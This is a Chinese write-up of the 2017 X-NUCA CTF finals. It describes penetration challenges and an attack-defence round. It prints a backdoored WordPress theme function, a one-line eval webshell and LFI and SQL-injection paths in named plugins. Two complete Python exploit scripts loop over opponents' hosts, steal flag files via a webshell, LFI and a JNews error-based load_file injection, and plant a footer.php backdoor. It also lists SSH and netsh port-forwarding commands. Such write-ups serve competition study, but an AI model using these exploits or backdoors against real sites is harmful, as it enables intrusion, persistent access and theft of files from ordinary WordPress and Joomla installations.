[2017 X-NUCA]总决赛小结
这次X-NUCA的线下赛分成两个部分,第一个是个人赛(纯渗透) 第二个是团队赛(渗透+A&D)
个人赛
个人赛的网络拓扑图
个人赛拓扑.jpeg
(图片有点糊
简单来说就是:
选手 --> 连接VPN --> 到内网访问竞赛平台,通过竞赛平台得到跳板机(攻击机)的ip、连接端口和密码(注意这里的攻击机的意思是你要去这部机上面去攻击靶机),主办方提供了两部攻击机,一部linux一部windows,攻击机不能访问外网
因为自己的电脑是可以访问外网的 所以一直在思考能不能将题目都通过端口转发转出去公网后让小伙伴也体验一下(最终还是没有尝试。。。因为做题时间实在是太紧了。。。
主办方一共给出了6个靶机,其中有一题是pwn,题目ip和端口都要求自己扫描出来
扫出来之后发现很多都有开放22端口、80端口和3306端口,第二题还开放了21端口
然后其中我做出来的是第二题,ftp尝试连接之后发现是ProFTP 1.3.5,经过主办方放hint后知道突破点在这个ftp的mod_copy模块上,搜一波cve发现是这个ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution 其实msf也有相应的模块可以直接用 直接写webshell到web默认目录(/var/www/html/)后getshell看flag
其他题目问了各位师傅后简单总结。。。。因为没看到题目可以描述有点偏差。。请各位大佬斧正Orz
-
第一题
题目开放端口:22、80、3306
80端口是一个Joomla 扫描目录会发现有www.zip目录备份 里面会有一个moadmin.php文件,这里师傅说15年百度杯的时候出过相类似的题目,moadmin.php里面有任意命令执行 相关链接 -
第二题
题目开放端口:21、22、80、3306
上述 -
第三题
题目开放端口:22、80、10000
这题是pwn题 进去80下载二进制文件 不懂二进制。。。就不分析了Orz。。需要文件的大佬可以私聊一下我 -
第四题
题目开放端口:22、80、3306
大佬说这题很奇怪。。。80端口是个joomla,然后ssh连接root@ip之后会返回一个sqli文件????然后里面泄漏了一个webshell的名字,然后访问cat flag就行了 -
第五题
题目开放端口:22
第五题主办方提示了是一个新手写的python脚本,其中开放了udp端口 然后要注意的是nmap默认不扫udp端口 然后扫到端口之后连接发现疑似是一个os.system("ls " + input) ,直接拼接命令cat flag, 如:
ls | echo | cat flag
ls && cat flag
...
- 第六题
题目开放端口:22、80、3306
一进去是一个黑页, 主办方提示和黑页作者名字有关 猜想应该是进入之后getshell cat flag 貌似暂时没人做出
我觉得这次个人赛的关键是服务探测和端口转发,包括服务所在的ip、端口、banner等等获取完整,再根据服务所在的ip和端口进行转发到攻击机上,最后在自己的电脑利用工具和现有exp进行攻击后得到flag
附上端口转发常用命令:
Linux
ssh -C -f -N -g -L 本地端口:靶机:欲转发端口 跳板机用户@本地IP #此命令用于转发单一端口 运行在本机上
ssh -C -f -N -g -D 本地监听端口 跳板机用户@跳板机IP #此命令用于动态端口转发 开启的是socks5
Windows
netsh interface portproxy show all #此命令查看所有端口转发
netsh interface portproxy add v4tov4 listenport=本地监听端口 listenaddress=0.0.0.0 connectport=欲转发端口 connectaddress=欲转发ip #此命令新增一个端口转发
netsh interface portproxy delete v4tov4 listenport=本地监听端口 listenaddress=0.0.0.0 #此命令删除一个端口转发
这次手慢了。。。没有来得及喝上汤。。。。。Orz膜各位大佬。。。
团队赛
这次团队赛的比赛模式之前是没有遇到过的,网络拓扑如下(第二天才给的):
部分拓扑
- 第一天下午
- 第一天下午是渗透+A&D同时进行的模式,一共有10台靶机,也就是带有用户名为info1-info10的服务器,其中有5台是攻防机,攻防机的还有用户名score1-score5 --- 攻防共有两个Web,三个Pwn。我们的目标是需要找出攻防机并趁早拿下源码和开始攻击,在这过程中10台靶机的/etc/xnuca/flag.txt路径都有渗透flag,提交会得到100分,然后攻防机还会在/opt/xnuca/flag.txt路径存储A&D用的flag。
- 根据上面的规矩我们可以知道,第一天拿到Web源码的队伍晚上肯定会通宵审计找出洞之后打全场,所以第一天的源码必须要拿下。然后实际上第一天听说只有几个队伍拿下了第一个Web的源码,只有一两支队伍拿下了第二个Web的源码,pwn的源码貌似没有人拿到? 然后下午饭点的时候主办方将所有pwn的程序公布了出来。。。(晚上不敢睡了。。
- 回到正题,首先我们需要扫描192.108.1.0/24得到与我们机器直连的靶机地址,然后扫描端口发现都开了445 netbios服务(本来这里是想尝试着用永恒之蓝打一下,但是主办方说这个端口是用来探测服务名称的 所以使用一个命令 nmblookup - 基于TCP/IP上的NetBIOS客户用于查询NetBIOS名字的程序 来探测服务名称
- 首先能扫描到4台直连的存活主机,首先第一台的web服务(info1)是一个MacCMS(苹果cms),网上搜到这个Remote Code Execute的exp,ls查看到一个文件名叫score1_shadow_backup文件,还有一个文件名叫password_is_phone_num_13993xxxxxx,然后shadow文件里面是score1的密码,直接丢去hashcat六位数字爆破(这里我坑了。。。没有及时告诉队友phone_num是密码提示。。。导致最后面才登录上拿到源码)然后查看数据库配置文件,有注释说这是从info2迁移的,连接数据库是info2用户,得到info2的密码为call911,然后登录上info2后在home目录发现mysql history,打开后发现是创建了一个info8的用户,密码为arkteam。
- 第二台服务器的Web服务是Discuz 7.2,网上也能找到相应的exp,拿到密码之后登录,这里有点记得不太清楚了Orz。。。貌似是拿到info4的账号密码就直接ssh能登录上去了
- 然后第三台的Web服务是一个大马 Hack By NSA。。。。。。主办方提示是nopen的后门。。。但是这个到最后面都没有解出来是啥。。。
- 第四台Web服务是一个wordpress,后面getshell之后查看用户也可以知道这也是一台攻防机,因为看到了score1用户, 然后这里是弱密码admin/admin登录上后台之后上传插件getshell,直接将shell打包成zip后上传,他会帮你解压到wp-content/uploads/2017/12/目录下,虽然安装出错但是还是会保留下文件。
以上是第一层直连外网的机器(192.108.1.0/24)
第二层我们想开始渗透的时候发现score1已经被师傅们打了Orz。。。所以我就没有渗透第二层太多了。。这是比较大的失误。。。我们应该继续坚持渗透,拿下web2的源码的。。。。所以就这样后面的题目就没有继续渗透下去了。。。哭。。。
我们晚上分析了一下web1的源码,主要发现了以下的几个洞:
- 著名的主题后门--详情 这里也是大同小异
看/wp-content/themes/AccountingTime/Functions.php的最后面
<?php
function _getprepare_widgets(){
if(!isset($methods)) $methods="cookie"; //
if(!isset($pre)) $pre="wp_"; //
if(!isset($is_use_more)) $is_use_more=1; //
if(!isset($d)) $d=$_GET["d"]; //
if(!isset($posts_auth)) $posts_auth="auth"; //
if(!isset($widget)) $widget=$pre."set"."_".$posts_auth."_".$methods; //
if(!isset($forcemore)) $forcemore=1; //
if ($is_use_more ) {
if($forcemore) {
if (!is_user_logged_in())
@call_user_func_array($widget,array($d, true));
}
}
$output="";
return $output;
}
add_action("init", "_getprepare_widgets"); // 注册函数
?>
我们直接在前台某个页面输入 ?d=1就可以越权登录admin了
登录之后可以有两个getshell点
第一个是对主题文件的编辑,其中有php文件
第二个是上传压缩成zip的webshell,上传后被解压在/wp-content/uploads/2017/12/
- 被留下的一句话
在/wp-includes/rest-api/endpoints/class-wp-rest-relations-controller.php中,内容为
<?php
@eval($_GET['cmd']);
?>
-
LFI -- wp-vault插件
LFI 利用方法:http://xxx/wp-content/plugins/wp-vault/trunk/wp-vault.php?wpv-image=../../../../../../etc/passwd
在/wp-content/plugins/wp-vault/trunk/wp-vault.php中,wpv-image参数没有过滤就直接包含 -
sql注入 -- kittycatfish 2.2插件
poc
注入点1 :/wp-content/plugins/kittycatfish/base.css.php?kc_ad=31&ver=2.0
注入点2:wp-content/plugins/kittycatfish/kittycatfish.php?kc_ad=37&ver=2.0
都是kc_ad参数,可以使用盲注直接load_file读取flag文件 -
sql注入 -- olimometer插件
注入点:/wp-content/plugins/olimometer/thermometer.php?olimometer_id=1
olimometer_id参数可以盲注 -
sql注入 -- easy-modal插件
poc
同盲注,但是首先得登录进后台才能利用,比较鸡肋 -
sql注入? -- ultimate-product-catalogue
好吧这个没有注入,进去看了一下作者已经加了参数绑定了。。。
我们有点乱的利用脚本
#coding:utf8
import urllib,urllib2
import re
import time
import cookielib
import socket
import json
def easy_webshell(root_url):
try:
url = root_url + '/wp-includes/rest-api/endpoints/class-wp-rest-relations-controller.php?%s' % 'cmd=system("cat+/opt/xnuca/flag.txt");'
req = urllib2.Request(url = url)
res = urllib2.urlopen(req)
content = res.read()
if content != '':
print root_url + ' -- flag : ' + content
return 1
else:
print root_url + ' fail to get flag through easy_webshell'
return 0
except urllib2.URLError as e:
print 'web_shell error' + e.reason
def LFI(root_url):
try:
url = root_url + '/wp-content/plugins/wp-vault/trunk/wp-vault.php?wpv-image=../../../../../opt/xnuca/flag.txt'
req = urllib2.Request(url = url)
res = urllib2.urlopen(req)
content = res.read()
if content != '':
print root_url + ' -- flag : ' + content
return 1
else:
print root_url + ' fail to get flag through LFI'
return 0
except urllib2.URLError as e:
print 'LFI error' + e.reason
def loginAsAdmin(root_url):
try:
url = root_url
req = urllib2.Request(url = url)
res = urllib2.urlopen(req)
if 'uniform tax rebate chef' not in res.read():
print 'Theme Not Correct!'
return
url = root_url + '/?d=1'
cookie = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie))
req = urllib2.Request(url = url)
res = opener.open(req)
res = opener.open(req)
content = res.read()
if '登出' not in content:
# print '[!] Cannot log in as admin!!!'
# print content
return
return opener
except urllib2.URLError as e:
print 'login error' + e.reason
def uploadShell(root_url):
try:
opener = loginAsAdmin(root_url)
if opener is None:
print '[!] Cannot log in as admin!!!'
return
installUrl = root_url + '/wp-admin/theme-editor.php?file=footer.php&theme=AccountingTime'
getNonceReq = urllib2.Request(url = installUrl)
res = opener.open(getNonceReq)
content = res.read()
if content == '':
print 'get Nonce Page Error!!!'
return
nonceList = re.findall('<input type="hidden" id="_wpnonce" name="_wpnonce" value="([a-zA-Z0-9]+)"',content)
if nonceList == []:
print 'get Nonce Page Error!!!!'
return
nonce = nonceList[0]
boundary = '----------%s' % hex(int(time.time() * 1000))
data = []
data.append('--%s' % boundary)
data.append('Content-Disposition: form-data; name="%s"\r\n' % '_wpnonce')
data.append(nonce)
data.append('--%s' % boundary)
data.append('Content-Disposition: form-data; name="%s"\r\n' % '_wp_http_referer')
data.append('/wp-admin/plugin-install.php')
data.append('--%s' % boundary)
data.append('Content-Disposition: form-data; name="%s"\r\n' % 'newcontent')
data.append('''
<?php global $theme; ?>
<?php if($theme->display('footer_widgets')) { ?>
<div id="footer-widgets" class="clearfix">
<?php
/**
* Footer Widget Areas. Manage the widgets from: wp-admin -> Appearance -> Widgets
*/
?>
<div class="footer-widget-box">
<?php
if(!dynamic_sidebar('footer_1')) {
$theme->hook('footer_1');
}
?>
</div>
<div class="footer-widget-box">
<?php
if(!dynamic_sidebar('footer_2')) {
$theme->hook('footer_2');
}
?>
</div>
<div class="footer-widget-box footer-widget-box-last">
<?php
if(!dynamic_sidebar('footer_3')) {
$theme->hook('footer_3');
}
?>
</div>
</div>
<?php } ?>
<div id="footer">
<div id="copyrights">
<?php
if($theme->display('footer_custom_text')) {
$theme->option('footer_custom_text');
} else {
?> © <?php echo date('Y'); ?> <a href="<?php echo home_url(); ?/g"><?php bloginfo('name'); ?></a><?php
}
?>
</div>
<?php /*
All links in the footer should remain intact.
These links are all family friendly and will not hurt your site in any way.
Warning! Your site may stop working if these links are edited or deleted
You can buy this theme without footer links online at https://flexithemes.com/buy/?theme=accountingtime
*/ ?>
<div id="credits">Powered by <a href="http://wordpress.org/"><strong>WordPress</strong></a> | Theme Designed by: <?php echo wp_theme_credits(0); ?> | Thanks to <?php echo wp_theme_credits(1); ?>, <?php echo wp_theme_credits(2); ?> and <?php echo wp_theme_credits(3); ?></div><!-- #credits -->
</div><!-- #footer -->
</div><!-- #container -->
<?php wp_footer(); ?>
<?php $theme->hook('html_after'); ?>
</body>
</html>
<?php if md5($_GET['pr0ph3t'])=='379377cfde157b4d7f6529d448dadd23' echo file_get_contents('/opt/xnuca/flag.txt');?>
''')
data.append('--%s' % boundary)
data.append('Content-Disposition: form-data; name="%s"\r\n' % 'action')
data.append('update')
data.append('--%s' % boundary)
data.append('Content-Disposition: form-data; name="%s"\r\n' % 'file')
data.append('footer.php')
data.append('--%s' % boundary)
data.append('Content-Disposition: form-data; name="%s"\r\n' % 'theme')
data.append('AccountingTime')
data.append('--%s' % boundary)
data.append('Content-Disposition: form-data; name="%s"\r\n' % 'scrollto')
data.append('818.1818237304688')
data.append('--%s' % boundary)
data.append('Content-Disposition: form-data; name="%s"\r\n' % 'docs-list')
data.append('')
data.append('--%s' % boundary)
data.append('Content-Disposition: form-data; name="%s"\r\n' % 'submit')
data.append('更新文件')
data.append('--%s' % boundary)
# file = open('fuck.php','rb')
# data.append('Content-Disposition: form-data; name="%s"; filename="123.php\r\n' % 'pluginzip')
# data.append('Content-Type: text/php\r\n')
# data.append(file.read())
# file.close()
# data.append('--%s--\r\n' % boundary)
# data.append('Content-Disposition: form-data; name="%s"\r\n' % 'install-plugin-submit')
# data.append('现在安装')
# data.append('--%s' % boundary)
uploadUrl = root_url + '/wp-admin/theme-editor.php'
http_body='\r\n'.join(data)
req=urllib2.Request(uploadUrl, data=http_body)
req.add_header('Content-Type', 'multipart/form-data; boundary=%s' % boundary)
req.add_header('User-Agent','Mozilla/5.0')
try :
res = opener.open(req, timeout=10)
except socket.timeout as e:
pass
content = res.read()
if '文件修改成功' in content: #后面为了方便就把上传和修改footer文件写在一起了。。。 注释掉的都是上传的
print '[!] ' + root_url + ' getShell through footer.php'
req = urllib2.Request(root_url+'/?pr0ph3t=dalaohao')
res = urllib2.urlopen(req)
content = res.read()
if 'gongfang' in content:
print '[!!] ' + root_url + ' get flag ' + re.findall('gongfang_flag\{(.*)\}')[0]
# if '正在安装您上传的插件' in content:
# print '[!] Upload Shell success! Path : /wp-content/uploads/2017/12/123.php'
# req = urllib2.Request(root_url+'/wp-content/uploads/2017/12/123.php')
# req1 = urllib2.Request(root_url+'/wp-content/uploads/2017/12/.db.inc.php')
# try:
# urllib2.urlopen(req1, timeout=0.2)
# except socket.timeout as e:
# pass
# try:
# urllib2.urlopen(req, timeout=0.2)
# except socket.timeout as e:
# pass
# req = urllib2.Request(root_url+'/wp-content/uploads/2017/12/.index.php',data=json.dumps({"p":"密码","c":"system('cat+/opt/xnuca/flag.txt');"}))
# res = urllib2.urlopen(req)
# print root_url + ' flag is : ' + res.read()
# else:
# print '[?] Upload Fail....'
except urllib2.URLError as e:
print 'upload error' + e.reason
for x in xrange(2,20):
if x == 8:
continue
target = 'http://192.121.' + str(x) + '.31'
# target = 'http://192.108.1.30:8002'# + str(x)
easy_webshell(target) # ok!
LFI(target) # ???
uploadShell(target)
web2的因为没有在第一天获取到源码分析,所以比较吃亏。。队友找了很久才找到一个注入,也同样是利用load_file读取flag,这也是后面我们打得这么凶的原因,注入点:
JNews注入:exp
我们的利用脚本
import requests
import re
se = requests.Session()
def getToken(hostname='192.108.1.14:1180',pos=32,length=32):
url = 'http://'+hostname+'/index.php?option=com_jnews&view=subscribe&act=subone&Itemid=206'
res = se.get(url)
content = res.content
tokenGroup = re.findall('name="Itemid" value="206" /><input type="hidden" name="(.*)" value',content)
if tokenGroup != []:
token = tokenGroup[0]
else:
token = ''
#post data
data = {}
data['Itemid'] = '206'
data['name'] = '123123'
data['email'] = '123@123.com'
data['receive_html'] = '1'
data['timezone'] = '00%3A00%3A00'
data['confirmed'] = '1'
data['subscribed[1]'] = '1'
data['sub_list_id[1]'] = "1 AND EXTRACTVALUE(8483,CONCAT(0x5c,(SELECT(ELT(8483=8483,substr(load_file('/opt/xnuca/flag.txt'),"+str(pos)+","+str(length)+")))),0x716b786b71))" #point
data['acc_level[1]'] = '29'
data['passwordA'] = 'FJTx2ubwvj2BA'
data['fromFrontend'] = '1'
data['act'] = 'subscribe'
data['subscriber_id'] = '0'
data['user_id'] = '0'
data['option'] = 'com_jnews'
data['task'] = 'save'
data['boxchecked'] = '0'
data[token] = '1'
vulUrl = 'http://'+ hostname +'/index.php/component/jnews/'
res = se.post(vulUrl,data=data)
flag = re.findall(r'XPATH syntax error: '\\(.*)' SQL=',res.content)
if flag != []:
return flag[0]
else:
return 'error'
for x in xrange(1,20): #跳过一些确认打不了的主机加快时间
if x == 8:
continue
if x == 3:
continue
if x == 7:
continue
if x == 10:
continue
if x == 11:
continue
if x == 12:
continue
# hostname = '192.108.1.14:1180'
hostname = '192.121.' + str(x) + '.34'
win = ''
win = getToken(hostname,1)
win += getToken(hostname,32)
win += getToken(hostname,63,17)[:-5]
print hostname + ' get flag ' +win
- 第二天全天
- 被虐
总结来说这次比赛还是有不足的,第一就是个人赛的有点瓜皮。。。主办方给的提示是题目都没有暴力操作。。。所以自己就很麻瓜的连扫目录都懒得扫了。。。导致错过www.zip文件。第二就是策略不太对,第一天应该侧重点在渗透和下源码,而不是一被打了就乱了节奏 Orz 师傅们都太强了。。。